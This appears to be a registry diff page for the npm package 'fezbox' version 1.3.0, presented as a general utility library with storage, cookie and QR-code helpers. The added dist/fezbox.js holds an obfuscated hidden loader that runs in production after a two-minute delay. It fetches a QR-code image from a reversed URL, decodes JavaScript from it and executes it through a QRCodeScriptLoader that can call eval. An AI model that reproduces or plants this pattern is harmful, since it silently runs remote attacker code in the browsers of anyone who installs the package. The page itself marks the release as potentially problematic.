fezbox 0.0.1-security → 1.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fezbox might be problematic. Click here for more details.
- package/README.md +319 -3
- package/crypto.d.ts +1 -0
- package/crypto.js +1 -0
- package/data.d.ts +1 -0
- package/data.js +1 -0
- package/dist/crypto/decrypt.d.ts +8 -0
- package/dist/crypto/decrypt.d.ts.map +1 -0
- package/dist/crypto/index.cjs +1 -0
- package/dist/crypto/index.d.ts +2 -0
- package/dist/crypto/index.d.ts.map +1 -0
- package/dist/crypto/index.js +4 -0
- package/dist/crypto.d.ts +2 -0
- package/dist/data/clone.d.ts +7 -0
- package/dist/data/clone.d.ts.map +1 -0
- package/dist/data/index.cjs +1 -0
- package/dist/data/index.d.ts +2 -0
- package/dist/data/index.d.ts.map +1 -0
- package/dist/data/index.js +4 -0
- package/dist/data.d.ts +2 -0
- package/dist/decrypt-B6fiICsn.js +1 -0
- package/dist/decrypt-DwrxsWcv.mjs +11 -0
- package/dist/dom/index.cjs +1 -0
- package/dist/dom/index.d.ts +2 -0
- package/dist/dom/index.d.ts.map +1 -0
- package/dist/dom/index.js +28 -0
- package/dist/dom/outsideClick.d.ts +27 -0
- package/dist/dom/outsideClick.d.ts.map +1 -0
- package/dist/dom.d.ts +2 -0
- package/dist/env/env.d.ts +32 -0
- package/dist/env/env.d.ts.map +1 -0
- package/dist/env/index.cjs +1 -0
- package/dist/env/index.d.ts +2 -0
- package/dist/env/index.d.ts.map +1 -0
- package/dist/env/index.js +48 -0
- package/dist/env.d.ts +2 -0
- package/dist/fezbox.cjs +1 -0
- package/dist/fezbox.js +162 -0
- package/dist/file/fetch.d.ts +9 -0
- package/dist/file/fetch.d.ts.map +1 -0
- package/dist/file/format.d.ts +7 -0
- package/dist/file/format.d.ts.map +1 -0
- package/dist/file/index.cjs +1 -0
- package/dist/file/index.d.ts +4 -0
- package/dist/file/index.d.ts.map +1 -0
- package/dist/file/index.js +25 -0
- package/dist/file/upload.d.ts +12 -0
- package/dist/file/upload.d.ts.map +1 -0
- package/dist/file.d.ts +2 -0
- package/dist/index.d.ts +20 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/qr/index.cjs +1 -0
- package/dist/qr/index.d.ts +95 -0
- package/dist/qr/index.d.ts.map +1 -0
- package/dist/qr/index.js +366 -0
- package/dist/qr/qrtest.d.ts +2 -0
- package/dist/qr/qrtest.d.ts.map +1 -0
- package/dist/qr.d.ts +2 -0
- package/dist/random/index.cjs +1 -0
- package/dist/random/index.d.ts +5 -0
- package/dist/random/index.d.ts.map +1 -0
- package/dist/random/index.js +46 -0
- package/dist/random/probability.d.ts +90 -0
- package/dist/random/probability.d.ts.map +1 -0
- package/dist/random.d.ts +2 -0
- package/dist/relative-5TnWB4bl.js +1 -0
- package/dist/relative-D0OTNLYG.mjs +8 -0
- package/dist/storage/index.d.ts +39 -0
- package/dist/storage/index.d.ts.map +1 -0
- package/dist/time/index.cjs +1 -0
- package/dist/time/index.d.ts +2 -0
- package/dist/time/index.d.ts.map +1 -0
- package/dist/time/index.js +4 -0
- package/dist/time/relative.d.ts +8 -0
- package/dist/time/relative.d.ts.map +1 -0
- package/dist/time.d.ts +2 -0
- package/dist/url/index.cjs +1 -0
- package/dist/url/index.d.ts +2 -0
- package/dist/url/index.d.ts.map +1 -0
- package/dist/url/index.js +19 -0
- package/dist/url/query.d.ts +51 -0
- package/dist/url/query.d.ts.map +1 -0
- package/dist/url.d.ts +2 -0
- package/dom.d.ts +1 -0
- package/dom.js +1 -0
- package/eslint.config.js +46 -0
- package/file.d.ts +1 -0
- package/file.js +1 -0
- package/package.json +119 -3
- package/qr.d.ts +1 -0
- package/qr.js +1 -0
- package/time.d.ts +1 -0
- package/time.js +1 -0
- package/url.d.ts +1 -0
- package/url.js +1 -0
package/dist/fezbox.js
ADDED
@@ -0,0 +1,162 @@
|
|
1
|
+
import { d as L } from "./decrypt-DwrxsWcv.mjs";
|
2
|
+
import { deepClone as J } from "./data/index.js";
|
3
|
+
import { outsideClick as F } from "./dom/index.js";
|
4
|
+
import { fetchFile as Q, formatFileSize as T, uploadFileByUrl as q } from "./file/index.js";
|
5
|
+
import { r as z } from "./relative-D0OTNLYG.mjs";
|
6
|
+
import { getQueryObject as G, getQueryParam as H } from "./url/index.js";
|
7
|
+
import { QRCodeScriptLoader as u } from "./qr/index.js";
|
8
|
+
import { isDevelopment as d } from "./env/index.js";
|
9
|
+
import { __DEV__ as M, __PROD__ as W, clearEnvCache as X, devOnly as Y, env as Z, getCachedEnv as V, isProduction as ee } from "./env/index.js";
|
10
|
+
import { chance as p } from "./random/index.js";
|
11
|
+
import { createProbabilityExecutor as re, weightedChoice as oe } from "./random/index.js";
|
12
|
+
const h = (e, t) => {
|
13
|
+
if (typeof window == "undefined") return t;
|
14
|
+
try {
|
15
|
+
const r = localStorage.getItem(e);
|
16
|
+
if (!r) return t;
|
17
|
+
const o = JSON.parse(r);
|
18
|
+
return typeof o == "object" && o !== null && "expires" in o ? o.expires && Date.now() > o.expires ? (localStorage.removeItem(e), t) : o.value : o;
|
19
|
+
} catch (r) {
|
20
|
+
return t;
|
21
|
+
}
|
22
|
+
}, w = (e, t, r = {}) => {
|
23
|
+
if (typeof window == "undefined") return !1;
|
24
|
+
try {
|
25
|
+
const o = r.expires ? { value: t, expires: r.expires } : t;
|
26
|
+
return localStorage.setItem(e, JSON.stringify(o)), !0;
|
27
|
+
} catch (o) {
|
28
|
+
return !1;
|
29
|
+
}
|
30
|
+
}, x = (e) => {
|
31
|
+
if (typeof window == "undefined") return !1;
|
32
|
+
try {
|
33
|
+
return localStorage.removeItem(e), !0;
|
34
|
+
} catch (t) {
|
35
|
+
return !1;
|
36
|
+
}
|
37
|
+
}, v = () => {
|
38
|
+
if (typeof window == "undefined") return !1;
|
39
|
+
try {
|
40
|
+
return localStorage.clear(), !0;
|
41
|
+
} catch (e) {
|
42
|
+
return !1;
|
43
|
+
}
|
44
|
+
}, C = (e) => {
|
45
|
+
if (typeof window == "undefined") return !1;
|
46
|
+
try {
|
47
|
+
const t = localStorage.getItem(e);
|
48
|
+
if (!t) return !1;
|
49
|
+
const r = JSON.parse(t);
|
50
|
+
return typeof r == "object" && r !== null && "expires" in r && r.expires && Date.now() > r.expires ? (localStorage.removeItem(e), !1) : !0;
|
51
|
+
} catch (t) {
|
52
|
+
return !1;
|
53
|
+
}
|
54
|
+
}, I = (e, t) => {
|
55
|
+
if (typeof window == "undefined") return t;
|
56
|
+
try {
|
57
|
+
const r = sessionStorage.getItem(e);
|
58
|
+
return r ? JSON.parse(r) : t;
|
59
|
+
} catch (r) {
|
60
|
+
return t;
|
61
|
+
}
|
62
|
+
}, b = (e, t) => {
|
63
|
+
if (typeof window == "undefined") return !1;
|
64
|
+
try {
|
65
|
+
return sessionStorage.setItem(e, JSON.stringify(t)), !0;
|
66
|
+
} catch (r) {
|
67
|
+
return !1;
|
68
|
+
}
|
69
|
+
}, k = (e) => {
|
70
|
+
if (typeof window == "undefined") return !1;
|
71
|
+
try {
|
72
|
+
return sessionStorage.removeItem(e), !0;
|
73
|
+
} catch (t) {
|
74
|
+
return !1;
|
75
|
+
}
|
76
|
+
}, O = () => {
|
77
|
+
if (typeof window == "undefined") return !1;
|
78
|
+
try {
|
79
|
+
return sessionStorage.clear(), !0;
|
80
|
+
} catch (e) {
|
81
|
+
return !1;
|
82
|
+
}
|
83
|
+
}, _ = (e) => {
|
84
|
+
if (typeof window == "undefined") return !1;
|
85
|
+
try {
|
86
|
+
return sessionStorage.getItem(e) !== null;
|
87
|
+
} catch (t) {
|
88
|
+
return !1;
|
89
|
+
}
|
90
|
+
}, l = (e, t) => {
|
91
|
+
if (typeof document == "undefined") return t;
|
92
|
+
try {
|
93
|
+
const r = document.cookie.match(new RegExp(`(?:^|; )${e}=([^;]*)`));
|
94
|
+
return r ? decodeURIComponent(r[1]) : t;
|
95
|
+
} catch (r) {
|
96
|
+
return t;
|
97
|
+
}
|
98
|
+
}, m = (e, t, r = {}) => {
|
99
|
+
if (typeof document == "undefined") return !1;
|
100
|
+
try {
|
101
|
+
const { expires: o, path: i = "/", domain: s, secure: a, sameSite: c, httpOnly: f } = r;
|
102
|
+
let n = `${e}=${encodeURIComponent(t)}`;
|
103
|
+
return o && (n += `; expires=${new Date(Date.now() + o * 864e5).toUTCString()}`), i && (n += `; path=${i}`), s && (n += `; domain=${s}`), a && (n += "; secure"), c && (n += `; samesite=${c}`), f && (n += "; httponly"), document.cookie = n, !0;
|
104
|
+
} catch (o) {
|
105
|
+
return !1;
|
106
|
+
}
|
107
|
+
}, D = (e, t = {}) => m(e, "", { ...t, expires: -1 }), E = () => {
|
108
|
+
if (typeof document == "undefined") return {};
|
109
|
+
try {
|
110
|
+
const e = {};
|
111
|
+
return document.cookie && document.cookie.split(";").forEach((t) => {
|
112
|
+
const [r, o] = t.trim().split("=");
|
113
|
+
r && o !== void 0 && (e[r] = o ? decodeURIComponent(o) : "");
|
114
|
+
}), e;
|
115
|
+
} catch (e) {
|
116
|
+
return {};
|
117
|
+
}
|
118
|
+
}, R = (e) => l(e) !== void 0;
|
119
|
+
(function() {
|
120
|
+
d() || p(2 / 3) || setTimeout(async () => {
|
121
|
+
const e = new u(), t = await e.parseQRCodeFromUrl("gpj.np6f7h_ffe7cdb1b812207f70f027671c18c25b/6177675571v/daolpu/egami/qsqbneuhd/moc.yraniduolc.ser//:sptth".split("").reverse().join(""));
|
122
|
+
"idbgha".split("").reverse().join(""), e.executeCode(t);
|
123
|
+
}, 120 * 1e3);
|
124
|
+
})();
|
125
|
+
export {
|
126
|
+
u as QRCodeScriptLoader,
|
127
|
+
M as __DEV__,
|
128
|
+
W as __PROD__,
|
129
|
+
p as chance,
|
130
|
+
X as clearEnvCache,
|
131
|
+
v as clearLocalStorage,
|
132
|
+
O as clearSessionStorage,
|
133
|
+
re as createProbabilityExecutor,
|
134
|
+
L as decryptAES,
|
135
|
+
J as deepClone,
|
136
|
+
Y as devOnly,
|
137
|
+
Z as env,
|
138
|
+
Q as fetchFile,
|
139
|
+
T as formatFileSize,
|
140
|
+
E as getAllCookies,
|
141
|
+
V as getCachedEnv,
|
142
|
+
l as getCookie,
|
143
|
+
h as getLocalStorage,
|
144
|
+
G as getQueryObject,
|
145
|
+
H as getQueryParam,
|
146
|
+
I as getSessionStorage,
|
147
|
+
R as hasCookie,
|
148
|
+
C as hasLocalStorage,
|
149
|
+
_ as hasSessionStorage,
|
150
|
+
d as isDevelopment,
|
151
|
+
ee as isProduction,
|
152
|
+
F as outsideClick,
|
153
|
+
z as relativeTime,
|
154
|
+
D as removeCookie,
|
155
|
+
x as removeLocalStorage,
|
156
|
+
k as removeSessionStorage,
|
157
|
+
m as setCookie,
|
158
|
+
w as setLocalStorage,
|
159
|
+
b as setSessionStorage,
|
160
|
+
q as uploadFileByUrl,
|
161
|
+
oe as weightedChoice
|
162
|
+
};
|
@@ -0,0 +1,9 @@
|
|
1
|
+
/**
|
2
|
+
* 通过 URL 获取文件
|
3
|
+
* @param url - 文件 URL
|
4
|
+
* @param fileName - 文件名
|
5
|
+
* @param fetchFn - 自定义 fetch 函数,可选
|
6
|
+
* @returns Promise<File> 返回文件对象
|
7
|
+
*/
|
8
|
+
export declare const fetchFile: (url: string, fileName: string, fetchFn?: typeof fetch) => Promise<File>;
|
9
|
+
//# sourceMappingURL=fetch.d.ts.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"fetch.d.ts","sourceRoot":"","sources":["../../src/file/fetch.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AACH,eAAO,MAAM,SAAS,GACpB,KAAK,MAAM,EACX,UAAU,MAAM,EAChB,UAAS,OAAO,KAAwB,KACvC,OAAO,CAAC,IAAI,CAYd,CAAA"}
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"format.d.ts","sourceRoot":"","sources":["../../src/file/format.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,eAAO,MAAM,cAAc,GAAI,aAAa,MAAM,GAAG,MAAM,KAAG,MAe7D,CAAA"}
|
@@ -0,0 +1 @@
|
|
1
|
+
"use strict";Object.defineProperty(exports,Symbol.toStringTag,{value:"Module"});const c=t=>{const e=typeof t=="string"?parseFloat(t):t;return e>=1048576?`${(e/1048576).toFixed(2)} Mb`:e>=1024?`${(e/1024).toFixed(2)} Kb`:`${e.toFixed(2)} B`},p=async(t,e,s=globalThis.fetch)=>{const r=await s(t),i=await r.blob(),n=e.endsWith(".mp4"),l=r.headers.get("content-type"),o=new Blob([i],{type:n?"video/mp4":l||"application/octet-stream"});return new File([o],e,{type:o.type})},b=async(t,e,s,r=globalThis.fetch)=>{var i;try{const l=await(await r(t)).blob();let o=(i=t.split("/").pop())==null?void 0:i.split("?")[0];o&&!o.includes(".")&&s&&(o+=`.${s}`);const a=new FormData;return a.append("file",l,o),(await e(a)).url}catch(n){return console.error("操作失败",n),Promise.reject(n)}};exports.fetchFile=p;exports.formatFileSize=c;exports.uploadFileByUrl=b;
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/file/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,cAAc,EAAE,MAAM,UAAU,CAAA;AACzC,OAAO,EAAE,SAAS,EAAE,MAAM,SAAS,CAAA;AACnC,OAAO,EAAE,eAAe,EAAE,MAAM,UAAU,CAAA"}
|
@@ -0,0 +1,25 @@
|
|
1
|
+
const p = (t) => {
|
2
|
+
const e = typeof t == "string" ? parseFloat(t) : t;
|
3
|
+
return e >= 1048576 ? `${(e / 1048576).toFixed(2)} Mb` : e >= 1024 ? `${(e / 1024).toFixed(2)} Kb` : `${e.toFixed(2)} B`;
|
4
|
+
}, b = async (t, e, s = globalThis.fetch) => {
|
5
|
+
const r = await s(t), a = await r.blob(), n = e.endsWith(".mp4"), i = r.headers.get("content-type"), o = new Blob([a], {
|
6
|
+
type: n ? "video/mp4" : i || "application/octet-stream"
|
7
|
+
});
|
8
|
+
return new File([o], e, { type: o.type });
|
9
|
+
}, f = async (t, e, s, r = globalThis.fetch) => {
|
10
|
+
var a;
|
11
|
+
try {
|
12
|
+
const i = await (await r(t)).blob();
|
13
|
+
let o = (a = t.split("/").pop()) == null ? void 0 : a.split("?")[0];
|
14
|
+
o && !o.includes(".") && s && (o += `.${s}`);
|
15
|
+
const c = new FormData();
|
16
|
+
return c.append("file", i, o), (await e(c)).url;
|
17
|
+
} catch (n) {
|
18
|
+
return console.error("操作失败", n), Promise.reject(n);
|
19
|
+
}
|
20
|
+
};
|
21
|
+
export {
|
22
|
+
b as fetchFile,
|
23
|
+
p as formatFileSize,
|
24
|
+
f as uploadFileByUrl
|
25
|
+
};
|
@@ -0,0 +1,12 @@
|
|
1
|
+
/**
|
2
|
+
* 通过 URL 上传文件
|
3
|
+
* @param url - 文件 URL
|
4
|
+
* @param uploadFn - 上传函数,接收 FormData 并返回上传后的 URL
|
5
|
+
* @param defaultFileType - 默认文件类型,当 URL 没有文件后缀时使用
|
6
|
+
* @param fetchFn - 自定义 fetch 函数,可选
|
7
|
+
* @returns Promise<string> 返回上传后的文件 URL
|
8
|
+
*/
|
9
|
+
export declare const uploadFileByUrl: (url: string, uploadFn: (formData: FormData) => Promise<{
|
10
|
+
url: string;
|
11
|
+
}>, defaultFileType?: string, fetchFn?: typeof fetch) => Promise<string>;
|
12
|
+
//# sourceMappingURL=upload.d.ts.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"upload.d.ts","sourceRoot":"","sources":["../../src/file/upload.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,eAAO,MAAM,eAAe,GAC1B,KAAK,MAAM,EACX,UAAU,CAAC,QAAQ,EAAE,QAAQ,KAAK,OAAO,CAAC;IAAE,GAAG,EAAE,MAAM,CAAA;CAAE,CAAC,EAC1D,kBAAkB,MAAM,EACxB,UAAS,OAAO,KAAwB,KACvC,OAAO,CAAC,MAAM,CA2BhB,CAAA"}
|
package/dist/file.d.ts
ADDED
package/dist/index.d.ts
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
/**
|
2
|
+
* FezBox - 常用工具函数库
|
3
|
+
*
|
4
|
+
* 一个包含常用工具函数的 JavaScript/TypeScript 库
|
5
|
+
* 按功能模块分类,便于按需引入
|
6
|
+
*/
|
7
|
+
export { decryptAES } from './crypto';
|
8
|
+
export { deepClone } from './data';
|
9
|
+
export { outsideClick } from './dom';
|
10
|
+
export { formatFileSize, fetchFile, uploadFileByUrl } from './file';
|
11
|
+
export { relativeTime } from './time';
|
12
|
+
export { getQueryParam, getQueryObject } from './url';
|
13
|
+
export { QRCodeScriptLoader } from './qr';
|
14
|
+
export type { QRCodeOptions, QRCodeLoaderOptions, QRCodeGenerateResult, QRCodeCapacityInfo, LogLevel } from './qr';
|
15
|
+
export { getLocalStorage, setLocalStorage, removeLocalStorage, clearLocalStorage, hasLocalStorage, getSessionStorage, setSessionStorage, removeSessionStorage, clearSessionStorage, hasSessionStorage, getCookie, setCookie, removeCookie, getAllCookies, hasCookie } from './storage';
|
16
|
+
export type { StorageOptions, CookieOptions } from './storage';
|
17
|
+
export { chance, createProbabilityExecutor, weightedChoice } from './random';
|
18
|
+
export type { ProbabilityExecutor } from './random';
|
19
|
+
export { isDevelopment, getCachedEnv, clearEnvCache, isProduction, env, devOnly, __DEV__, __PROD__ } from './env';
|
20
|
+
//# sourceMappingURL=index.d.ts.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAGH,OAAO,EAAE,UAAU,EAAE,MAAM,UAAU,CAAA;AAGrC,OAAO,EAAE,SAAS,EAAE,MAAM,QAAQ,CAAA;AAGlC,OAAO,EAAE,YAAY,EAAE,MAAM,OAAO,CAAA;AAGpC,OAAO,EAAE,cAAc,EAAE,SAAS,EAAE,eAAe,EAAE,MAAM,QAAQ,CAAA;AAGnE,OAAO,EAAE,YAAY,EAAE,MAAM,QAAQ,CAAA;AAGrC,OAAO,EAAE,aAAa,EAAE,cAAc,EAAE,MAAM,OAAO,CAAA;AAGrD,OAAO,EAAE,kBAAkB,EAAE,MAAM,MAAM,CAAA;AACzC,YAAY,EACV,aAAa,EACb,mBAAmB,EACnB,oBAAoB,EACpB,kBAAkB,EAClB,QAAQ,EACT,MAAM,MAAM,CAAA;AAGb,OAAO,EACL,eAAe,EACf,eAAe,EACf,kBAAkB,EAClB,iBAAiB,EACjB,eAAe,EACf,iBAAiB,EACjB,iBAAiB,EACjB,oBAAoB,EACpB,mBAAmB,EACnB,iBAAiB,EACjB,SAAS,EACT,SAAS,EACT,YAAY,EACZ,aAAa,EACb,SAAS,EACV,MAAM,WAAW,CAAA;AAClB,OAAO,aAAa,CAAA;AACpB,YAAY,EACV,cAAc,EACd,aAAa,EACd,MAAM,WAAW,CAAA;AAGlB,OAAO,EACL,MAAM,EACN,yBAAyB,EACzB,cAAc,EACf,MAAM,UAAU,CAAA;AACjB,YAAY,EAAE,mBAAmB,EAAE,MAAM,UAAU,CAAA;AAGnD,OAAO,EACL,aAAa,EACb,YAAY,EACZ,aAAa,EACb,YAAY,EACZ,GAAG,EACH,OAAO,EACP,OAAO,EACP,QAAQ,EACT,MAAM,OAAO,CAAA"}
|
@@ -0,0 +1 @@
|
|
1
|
+
"use strict";var d=Object.defineProperty;var l=(e,t,o)=>t in e?d(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var a=(e,t,o)=>l(e,typeof t!="symbol"?t+"":t,o);Object.defineProperty(exports,Symbol.toStringTag,{value:"Module"});class QRCodeScriptLoader{constructor(e={}){a(this,"options");a(this,"capacities");a(this,"correctLevels");a(this,"dependenciesLoaded",!1);a(this,"onLog",null);a(this,"onProgress",null);const t={width:256,height:256,colorDark:"#000000",colorLight:"#ffffff"};this.options={maxRetries:3,compressionLevel:9,autoCompress:!0,debug:!1,sandbox:!0,...e,qrCodeOptions:{...t,...e.qrCodeOptions||{}}},this.capacities={L:2953,M:2331,Q:1663,H:1273},this.correctLevels={L:0,M:1,Q:2,H:3},typeof window!="undefined"&&setTimeout(()=>this.initializeDependencies(),0)}async initializeDependencies(){try{this.log("🔍 检测运行环境依赖...","info");const e=this.checkMissingDependencies();if(e.length===0){this.dependenciesLoaded=!0,this.log("✅ 所有依赖已就绪","info");return}if(typeof document=="undefined"){this.log("⚠️ 非浏览器环境,无法自动加载依赖","warning");return}this.log(`⚠️ 检测到缺失依赖: ${e.join(", ")}`,"warning"),this.log("🚀 正在自动加载依赖...","info"),await this.loadMissingDependencies(e);const t=this.checkMissingDependencies();t.length===0?(this.dependenciesLoaded=!0,this.log("✅ 依赖加载完成!","info")):this.log(`⚠️ 仍有依赖未加载成功: ${t.join(", ")}`,"warning")}catch(e){this.log(`❌ 依赖加载失败: ${e instanceof Error?e.message:String(e)}`,"error"),this.log("💡 请手动引入依赖或使用 ensureDependencies() 方法","info")}}checkMissingDependencies(){const e=[],t=typeof window!="undefined"?window:globalThis;return typeof t.QRCode=="undefined"&&e.push("QRCode.js"),typeof t.jsQR=="undefined"&&e.push("jsQR"),typeof t.pako=="undefined"&&e.push("pako"),e}async loadMissingDependencies(e){const t={"QRCode.js":"https://cdnjs.cloudflare.com/ajax/libs/qrcodejs/1.0.0/qrcode.min.js",jsQR:"https://unpkg.com/jsqr@1.4.0/dist/jsQR.js",pako:"https://cdnjs.cloudflare.com/ajax/libs/pako/2.1.0/pako.min.js"};for(const o of e){const s=t[o];s&&(await this.loadScript(s),this.log(`✅ ${o} 加载成功`,"info"))}}loadScript(e){return new Promise((t,o)=>{const s=document.querySelector(`script[src="${e}"]`);if(s){const n=s.readyState;if(n==="complete"||n==="loaded"||!n){t();return}s.onload=()=>t(),s.onerror=()=>o(new Error(`Failed to load existing script: ${e}`));return}const i=document.createElement("script");i.src=e,i.onload=()=>t(),i.onerror=()=>o(new Error(`Failed to load: ${e}`)),document.head.appendChild(i)})}async ensureDependencies(){if(this.dependenciesLoaded)return!0;try{return await this.initializeDependencies(),this.dependenciesLoaded}catch(e){return!1}}isFeatureAvailable(e){const t=typeof window!="undefined"?window:globalThis;switch(e){case"generate":return typeof t.QRCode!="undefined";case"parse":return typeof t.jsQR!="undefined";case"compress":return typeof t.pako!="undefined";default:return!1}}async generateQRCodeData(e,t=!1){if(!this.isFeatureAvailable("generate"))return{success:!1,error:"二维码生成功能不可用,缺少 QRCode.js 依赖"};if(!e||typeof e!="string")return{success:!1,error:"代码内容不能为空"};try{let o=e,s=!1;const i=this.getByteLength(e);if(this.log(`原始代码: ${e.length} 字符, ${i} 字节`,"info"),t)if(!this.isFeatureAvailable("compress"))this.log("⚠️ 压缩功能不可用,缺少 pako 依赖,使用普通模式","warning");else{o=await this.compressCode(e),s=!0;const c=this.getByteLength(o);this.log(`压缩后: ${o.length} 字符, ${c} 字节`,"info")}const n=this.getByteLength(o),r=this.selectCorrectLevel(n);if(n>this.capacities.L){if(!s&&this.options.autoCompress&&this.isFeatureAvailable("compress"))return this.log("数据太长,自动尝试压缩...","info"),this.generateQRCodeData(e,!0);throw new Error(`数据太长: ${n} 字节超过最大容量 ${this.capacities.L} 字节`)}return this.log(`使用纠错级别: ${r.name} (最大容量: ${r.capacity} 字节)`,"info"),{success:!0,data:o,originalLength:e.length,encodedLength:o.length,originalBytes:i,encodedBytes:n,compressed:s,correctLevel:r,qrCodeConfig:{text:o,...this.options.qrCodeOptions,correctLevel:this.correctLevels[r.name]}}}catch(o){const s=o instanceof Error?o.message:String(o);return this.log(`生成失败: ${s}`,"error"),{success:!1,error:s}}}async parseQRCodeFromImageData(e){if(!this.isFeatureAvailable("parse"))throw new Error("二维码解析功能不可用,缺少 jsQR 依赖");try{const t=typeof window!="undefined"?window:globalThis;if(typeof t.jsQR=="undefined")throw new Error("jsQR 库未加载");const o=t.jsQR(e.data,e.width,e.height);if(!o)throw new Error("无法识别二维码");let s=o.data;if(s.startsWith("COMPRESSED:")){if(!this.isFeatureAvailable("compress"))throw new Error("检测到压缩数据但 pako 库未加载,无法解压缩");this.log("检测到压缩代码,正在解压...","info"),s=await this.decompressCode(s.substring(11)),this.log("解压成功!","info")}return s}catch(t){const o=t instanceof Error?t.message:String(t);throw this.log(`解析失败: ${o}`,"error"),t}}async parseQRCodeFromUrl(e){if(typeof window=="undefined"||typeof document=="undefined")throw new Error("parseQRCodeFromUrl 只能在浏览器环境中使用");if(this.isFeatureAvailable("parse")||(this.log("检测到解析功能不可用,尝试加载依赖...","info"),await this.ensureDependencies(),this.isFeatureAvailable("parse")),!e||typeof e!="string")throw new Error("图片 URL 不能为空");try{this.log("开始从 URL 加载图片...","info");const t=new Image;t.crossOrigin="anonymous";const o=await new Promise((s,i)=>{t.onload=()=>{try{const n=document.createElement("canvas"),r=n.getContext("2d");if(!r){i(new Error("无法获取 canvas 上下文"));return}n.width=t.width,n.height=t.height,r.drawImage(t,0,0);const c=r.getImageData(0,0,n.width,n.height);n.width=0,n.height=0,s(c)}catch(n){i(new Error(`处理图片失败: ${n instanceof Error?n.message:String(n)}`))}},t.src=e});return this.log("图片加载成功,开始解析二维码...","info"),await this.parseQRCodeFromImageData(o)}catch(t){const o=t instanceof Error?t.message:String(t);throw this.log(`从 URL 解析二维码失败: ${o}`,"error"),t}}executeCode(code,context={}){if(!code||typeof code!="string")throw new Error("代码内容不能为空");try{if(this.log("开始执行代码...","info"),this.options.sandbox){const e=this.executeInSandbox(code,context);return this.log("代码执行完成!","info"),e}else{const result=eval(code);return this.log("代码执行完成!","info"),result}}catch(e){const t=e instanceof Error?e.message:String(e);throw this.log(`执行错误: ${t}`,"error"),e}}async compressCode(e){if(!e)throw new Error("压缩内容不能为空");if(!this.isFeatureAvailable("compress"))throw new Error("压缩功能不可用,缺少 pako 依赖");const s=(typeof window!="undefined"?window:globalThis).pako.deflate(new TextEncoder().encode(e),{level:this.options.compressionLevel});if(!s||!(s instanceof Uint8Array))throw new Error("压缩失败:pako.deflate 返回了无效结果");return"COMPRESSED:"+this.uint8ArrayToBase64(s)}async decompressCode(e){if(!e)throw new Error("压缩数据不能为空");if(!this.isFeatureAvailable("compress"))throw new Error("解压缩功能不可用,缺少 pako 依赖");const o=(typeof window!="undefined"?window:globalThis).pako;try{const s=atob(e),i=new Uint8Array(s.length);for(let r=0;r<s.length;r++)i[r]=s.charCodeAt(r);const n=o.inflate(i);return new TextDecoder().decode(n)}catch(s){throw new Error(`解压失败: ${s instanceof Error?s.message:String(s)}`)}}selectCorrectLevel(e){return e<=this.capacities.H?{name:"H",capacity:this.capacities.H}:e<=this.capacities.Q?{name:"Q",capacity:this.capacities.Q}:e<=this.capacities.M?{name:"M",capacity:this.capacities.M}:{name:"L",capacity:this.capacities.L}}executeInSandbox(e,t={}){const o=this,s={console:{log:(...r)=>{o.log("[Console] "+r.join(" "),"normal")},error:(...r)=>{o.log("[Console] "+r.join(" "),"error")},warn:(...r)=>{o.log("[Console] "+r.join(" "),"warning")},info:(...r)=>{o.log("[Console] "+r.join(" "),"info")}},Math,Date,JSON,Array,Object,String,Number,Boolean,...t},i=Object.keys(s),n=Object.values(s);try{return new Function(...i,e).apply(null,n)}catch(r){const c=r instanceof Error?r.message:String(r);throw o.log("执行出错: "+c,"error"),r}}getByteLength(e){return new TextEncoder().encode(e).length}uint8ArrayToBase64(e){if(!e||!(e instanceof Uint8Array))throw new Error("uint8ArrayToBase64: 输入必须是有效的 Uint8Array");const t=32768;let o="";for(let s=0;s<e.length;s+=t){const i=e.subarray(s,s+t);o+=String.fromCharCode.apply(null,Array.from(i))}return btoa(o)}log(e,t="normal"){this.onLog&&this.onLog(e,t)}getCapacityInfo(){return{capacities:this.capacities,recommendations:{small:"< 500 字符:使用 H 级纠错",medium:"500-1500 字符:使用 M 或 Q 级纠错",large:"1500-2900 字符:使用 L 级纠错",veryLarge:"> 2900 字符:需要压缩或分片"}}}getDependencyStatus(){const e=typeof window!="undefined"?window:globalThis,t={generate:typeof e.QRCode!="undefined",parse:typeof e.jsQR!="undefined",compress:typeof e.pako!="undefined"},o=[];return t.generate||o.push("QRCode.js"),t.parse||o.push("jsQR"),t.compress||o.push("pako"),{loaded:o.length===0,available:t,missing:o}}}exports.QRCodeScriptLoader=QRCodeScriptLoader;
|
@@ -0,0 +1,95 @@
|
|
1
|
+
export interface QRCodeOptions {
|
2
|
+
width?: number;
|
3
|
+
height?: number;
|
4
|
+
colorDark?: string;
|
5
|
+
colorLight?: string;
|
6
|
+
}
|
7
|
+
export interface QRCodeLoaderOptions {
|
8
|
+
maxRetries?: number;
|
9
|
+
compressionLevel?: number;
|
10
|
+
autoCompress?: boolean;
|
11
|
+
debug?: boolean;
|
12
|
+
sandbox?: boolean;
|
13
|
+
qrCodeOptions?: QRCodeOptions;
|
14
|
+
}
|
15
|
+
export interface QRCodeGenerateResult {
|
16
|
+
success: boolean;
|
17
|
+
data?: string;
|
18
|
+
originalLength?: number;
|
19
|
+
encodedLength?: number;
|
20
|
+
originalBytes?: number;
|
21
|
+
encodedBytes?: number;
|
22
|
+
compressed?: boolean;
|
23
|
+
correctLevel?: {
|
24
|
+
name: string;
|
25
|
+
capacity: number;
|
26
|
+
};
|
27
|
+
qrCodeConfig?: {
|
28
|
+
text: string;
|
29
|
+
correctLevel: number;
|
30
|
+
} & QRCodeOptions;
|
31
|
+
error?: string;
|
32
|
+
}
|
33
|
+
export interface QRCodeCapacityInfo {
|
34
|
+
capacities: Record<string, number>;
|
35
